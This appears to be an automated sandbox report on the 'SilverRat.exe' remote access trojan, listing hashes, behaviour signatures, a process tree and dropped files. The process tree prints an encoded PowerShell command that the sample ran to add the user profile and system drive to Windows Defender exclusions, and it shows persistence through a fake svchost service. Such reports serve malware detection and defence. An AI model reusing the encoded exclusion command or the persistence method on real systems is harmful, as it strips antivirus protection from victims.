Analysis
-
max time kernel
127s -
max time network
138s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
09-05-2024 18:56
General
-
Target
SilverRat.exe
-
Size
31.4MB
-
MD5
117de8f14dc5c65e147710d3051349a9
-
SHA1
5017520d5db39435598e18093ebcd1f02ac59375
-
SHA256
a9bb2702e76300dd4ef6abd1d055b3bd49f59240b585cc33e9322b28fcf9a373
-
SHA512
57c1b7238dfad5f6cf4c520d79d7173dbff36184151c52d2b69104e1e37677fd9e37c63b43dd82cc0d5af183c91de21a15b2759b6770fae68618c9cf4b6ff680
-
SSDEEP
393216:Mk/S9SNoW/KQ4izbTFEAzSN+Wn/d/yzE6Ym4Ez6AyvmtUF5SiXybHl:HKmPxe+Wn/da4I4c6XoQSWyZ
Malware Config
Signatures
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 1 IoCs
-
Obfuscated with Agile.Net obfuscator 2 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
-
UPX packed file 5 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SilverRat.exe"C:\Users\Admin\AppData\Local\Temp\SilverRat.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAbgBxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAdQBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAaQBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYQBlACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\windowssdk.exe"C:\Windows\windowssdk.exe"2⤵
- Sets DLL path for service in the registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\SilverRatBuilder.exe"C:\Users\Admin\AppData\Local\Temp\SilverRatBuilder.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k threaddriversfirewall -s ThreadDriversFirewall1⤵
- Loads dropped DLL
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
25.2MB
MD5d6527f7d5f5152c3f5fff6786e5c1606
SHA1e8da82b4a3d2b6bee04236162e5e46e636310ec6
SHA25679a4605d24d32f992d8e144202e980bb6b52bf8c9925b1498a1da59e50ac51f9
SHA5122b4eb9e66028d263c52b3da42fa3df256cf49cd7a7ebdf7c75da6a2dedfd2c22cb5f2071345b7016cd742539c74a801cad70c612330be79802fa19f860ea2d5f
-
Filesize
4KB
MD5e1a48ec781542ab4f0d3a3368b2a1d05
SHA1a35670f07e5320a1591a55d903b35dcdd1d224a1
SHA256f41d8818774f3ec0bf936e564f50008b46f5e4060edaab3bd72ffa389fb9ef21
SHA512d3e756d8b321d38962a7b36af617d152e9bfd499b31f1630a24ada435715ad81a29ab73e4ab4aa21bbc9029b4177a943303e7df922bf375c2583607cb6f6566a
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
6.2MB
MD5e58b6dba9e96f3f015010a7796676153
SHA1bae94a6035fe295f803c12b7dbc85cac2bf120a0
SHA2569e8a91ecf50a0e4d9cda2f80380345d8edba197551a2bc5c797cb43007fd8181
SHA5121b357abde0a7fa9dca1e4cb1d15f250800bedf80faa25b8b211f51527484af392ae9d6b47fa6c512eea42124f523654ba92ac6e40aa15fc71d5c98cbfbbdbe59
-
Filesize
6.9MB
MD55012248d9b15f575a387921e8963264b
SHA12e7fc5ff0e8ca06eb173db4d7a44401756f982aa
SHA2565777293a7f97869f56ca22438def80619bdfeeea9b4da35f2d0ff38aa7bf8baa
SHA5127aec30119dbbd4db92130323ab195f051d26a213febdf7a77b117e1f40620625ec8fdf937fa88bf4545a4143ad159efce6e4af2e4fb4549831793acc736b308e
-
Filesize
7.2MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
216KB
-
Filesize
592KB
-
Filesize
112KB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
472KB
-
Filesize
6.2MB
-
Filesize
104KB
-
Filesize
6.9MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
136KB
-
Filesize
6.9MB
-
Filesize
32KB
-
Filesize
204KB
-
Filesize
120KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
6.6MB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
624KB
-
Filesize
200KB
-
Filesize
40KB
-
Filesize
2.3MB
-
Filesize
312KB
-
Filesize
584KB
-
Filesize
1.5MB
-
Filesize
5.0MB
-
Filesize
25.2MB